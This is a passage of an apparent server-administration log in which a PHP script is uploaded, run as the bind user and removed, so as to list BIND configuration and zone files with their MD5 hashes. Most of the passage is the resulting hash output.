MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 5e377f3629d6fe361d57f6ca437ac6a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 19:35:24: Establishing a connection
2026-04-25 19:35:24: 

PUT: /tmp/pkp142173

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 19:35:24: 

runuser -l bind -s /bin/bash -c '/tmp/pkp142173; rm /tmp/pkp142173'

2026-04-25 19:35:24: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 5e377f3629d6fe361d57f6ca437ac6a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 19:37:23: Establishing a connection
2026-04-25 19:37:23: 

PUT: /tmp/pkp186627

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 19:37:23: 

runuser -l bind -s /bin/bash -c '/tmp/pkp186627; rm /tmp/pkp186627'

2026-04-25 19:37:23: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
